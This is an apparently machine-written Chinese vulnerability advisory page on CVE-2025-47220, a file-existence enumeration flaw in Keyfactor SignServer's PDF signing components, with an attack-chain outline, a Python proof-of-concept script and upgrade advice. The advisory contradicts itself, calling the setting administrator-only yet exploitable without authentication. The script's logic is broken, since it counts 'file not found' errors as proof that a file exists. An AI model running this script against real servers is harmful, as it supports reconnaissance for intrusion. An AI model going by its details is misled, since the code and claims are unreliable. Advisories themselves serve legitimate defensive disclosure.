IPBUF安全漏洞报告
English
CVE-2025-47220 CVSS 5.3 中危

CVE-2025-47220 Keyfactor SignServer 本地文件枚举漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-47220
漏洞类型
本地文件枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keyfactor SignServer

相关标签

CVE-2025-47220本地文件枚举Keyfactor SignServer路径遍历信息泄露PDFSignerPAdESSigner

漏洞概述

CVE-2025-47220是Keyfactor SignServer中发现的一个本地文件枚举漏洞。该漏洞存在于SignServer的PDFSigner和PAdESSigner组件中,由于VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH属性可以被管理员用户设置为任意路径而没有任何限制,导致了严重的安全问题。攻击者可以通过构造特定的路径请求,利用该漏洞确认服务器上是否存在特定文件。当提供的路径指向一个存在且可读但不是可识别图像格式的文件时,系统会向客户端返回错误信息,从而泄露文件存在性信息。此漏洞无需认证即可利用,攻击者可通过网络远程发起攻击,成功利用可获取服务器文件系统结构信息,为进一步攻击提供情报支持。CVSS评分5.3,属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞的根本原因在于Keyfactor SignServer的PDFSigner和PAdESSigner组件对VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH属性缺乏有效的路径验证机制。正常情况下,该属性用于指定签名自定义图像的路径,但系统未对路径进行安全限制,如目录遍历检查或路径白名单验证。攻击者可以指定任意系统路径,当路径指向的文件存在且应用服务器进程有读取权限时,系统会尝试加载该文件。由于文件格式验证逻辑的缺陷,当文件不是可识别的图像格式时,系统返回特定错误信息,从而泄露文件存在的事实。攻击者通过枚举系统路径,可以绘制服务器文件系统结构,发现敏感配置文件、日志文件或其他机密数据。此漏洞的利用条件较低,无需认证且无需用户交互,攻击者可直接通过网络发送特制请求触发漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标Keyfactor SignServer实例,确认版本低于7.3.2
STEP 2
步骤2
攻击者访问PDFSigner或PAdESSigner组件的配置文件接口
STEP 3
步骤3
攻击者通过VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH参数提交任意文件路径
STEP 4
步骤4
服务器尝试读取指定路径的文件,如果文件存在且可读但非图像格式,返回错误信息
STEP 5
步骤5
攻击者根据返回的错误信息判断文件是否存在,枚举服务器文件系统结构
STEP 6
步骤6
攻击者收集敏感文件路径(配置文件、密钥、日志等),为后续攻击做准备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-47220 PoC - Local File Enumeration in Keyfactor SignServer # Target: Keyfactor SignServer < 7.3.2 # Vulnerability: VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH allows arbitrary path specification def check_file_existence(target_url, file_path): """ Attempts to enumerate file existence by exploiting the VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH property vulnerability. Args: target_url: Base URL of the SignServer instance file_path: Path to check for existence Returns: bool: True if file exists, False otherwise """ # Endpoint for PDF signer configuration endpoint = f"{target_url}/signserver/pdfsigner" # Malicious parameter that triggers file enumeration payload = { 'VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH': file_path, 'workerName': 'PDFSigner' } try: response = requests.post(endpoint, data=payload, timeout=10) # Check for error messages indicating file existence # If file exists but is not a valid image format, error is returned error_indicators = [ 'not a valid image', 'cannot read', 'file not found', 'does not exist', 'invalid format' ] response_text = response.text.lower() # If we get an error about image format, file exists for indicator in error_indicators: if indicator in response_text: return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-47220.py <target_url> <file_path>") print("Example: python cve-2025-47220.py http://localhost:8080 /etc/passwd") sys.exit(1) target_url = sys.argv[1] file_path = sys.argv[2] print(f"[*] Checking file existence: {file_path}") result = check_file_existence(target_url, file_path) if result is True: print(f"[+] File EXISTS: {file_path}") elif result is False: print(f"[-] File does NOT exist or is not accessible") else: print(f"[!] Could not determine file status") if __name__ == '__main__': main()

影响范围

Keyfactor SignServer < 7.3.2

防御指南

临时缓解措施
立即将Keyfactor SignServer升级到7.3.2或更高版本。在升级前,可以通过限制应用服务器的文件系统访问权限来缓解风险,确保运行SignServer的进程只能访问必要的文件和目录。同时,监控和限制对PDFSigner和PAdESSigner组件的访问,只允许受信任的管理员用户访问配置接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表